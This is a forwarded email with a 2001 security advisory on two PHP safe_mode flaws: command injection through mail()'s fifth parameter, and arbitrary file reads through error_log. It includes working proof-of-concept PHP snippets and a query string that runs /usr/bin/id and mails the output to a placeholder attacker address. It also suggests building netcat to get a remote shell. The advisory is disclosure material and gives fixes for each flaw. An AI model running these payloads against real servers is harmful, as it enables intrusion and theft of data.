|
Hi all,
Just received this.
Sweet... Nico
----- Original Message -----
Sent: Wednesday, July 25, 2001 9:57 PM
Subject: [UNIX] PHP Safe_mode Security Flaws
The following security advisory is sent to the securiteam mailing
list, and can be found at the SecuriTeam web site: http://www.securiteam.com
PHP Safe_mode Security Flaws
PHP is a simple and efficient scripting
language that allows developers to quickly integrate active content into their
Web application. Two security vulnerabilities have been found in the way PHP
handles certain functions while it is set in safe_mode. These vulnerabilities
can cause a system wide compromise.
Vulnerable systems:
PHP version 4.0.5
PHP Version 4.0.4pl1
Problem #1:
An extra 5th parameter was added to the mail()
command breaking safe_mode:
- snippet of the code in mail.c (lines
156-165)
if (extra_cmd != NULL) {
sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
strcpy (sendmail_cmd, sendmail_path);
strcat (sendmail_cmd, " ");
strcat (sendmail_cmd, extra_cmd);
} else { sendmail_cmd =
sendmail_path;
}
sendmail = popen(sendmail_cmd,
"w");
}
}
- end of code snippet
The popen() function is the C
library function popen(3).
An attacker could easily upload a simple
evil.php script containing:
<?
mail("foo@bar,"foo","bar","",$bar); ?>
Then the script could be
invoked using a simple query like:
http://foo.com/evil.php?bar=;/usr/bin/id|mail
evil@xxxxxxxxxx
Impact:
First of all it renders an important
part of safe_mode useless.
Two examples come to mind:
Example
1:
A customer has bought some web space from a provider and is given
only ftp access to upload his files. The customer is not supposed to have shell
access nor view files outside of his home directory.
The customer could
easily upload and compile a "light" version of the popular netcat tool (cd
/usr/ports/*/netcat;make clean;make&&make install) and spawn himself a
remote shell on the hosting box.
If something like suexec is not used by
the provider, the shell spawned could in fact be a "nobody" (uid of web server)
shell. This could make the situation even worse.
Example 2:
A
customer has bought some web space from a provider and was given a shell account
on the hosting box.
If something similar to suexec is not running the
customer could spawn himself a 'nobody' (www, web, and uid of web server) shell.
(See example 1)
The impact of this varies on a per setup/provider basis.
Most providers just do not expect someone to have a shell with
the uid of the web server on the hosting box.
"Internal" scripts,
database schemes and database password are commonly (but sadly) left owned by
the uid/gid of the web server. These become vulnerable.
Even web server
configuration files (httpd.conf) and complete web server roots owned by
the uid/gid of the web server have been observed in the wild.
Experience
learns that when unexpected-nobody access is gained on a (virtual) hosting
machine, "bad" things are bound to happen sooner or later.
Solution:
The 5th argument to mail() should not be honored in
safe_mode.
Problem #2:
PHP safe_mode has the nice feature
of disallowing the opening/reading and writing to files that are not owned by
the uid that the script is owned by.
Though using some "common sense" it
still is possible to open/read and write to files that are owned by the uid the
web server is running.
This is assuming that something like suexec is
not in place.
An attacker could upload a simple script that does the
following:
<?
$cmd = '<? showsource($foo); ?>';
error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");
?>
For example, assuming that the error_log is owned by the web server it
could be read using a simple query:
http://www.example.com/~user/nobody.php?foo=/path/to/webserver/logs/access_log
Impact:
Depends on the setup of the hosting box.
Solution:
Disallow the changing of the error_log location in
safe_mode.
Additional Information:
The information has been provided
by Joost Pol.
================================================================================
This bulletin is sent to members of the SecuriTeam mailing
list.
To unsubscribe from the list, send mail with an empty subject line and
body to: html-list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list and receive advisories in HTML
format, simply forward this email to: html-list-subscribe@xxxxxxxxxxxxxx
================================================================================
================================================================================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without
warranty of any kind.
In no event shall we be liable for any damages
whatsoever including direct, indirect, incidental, consequential, loss of
business profits or special damages.
|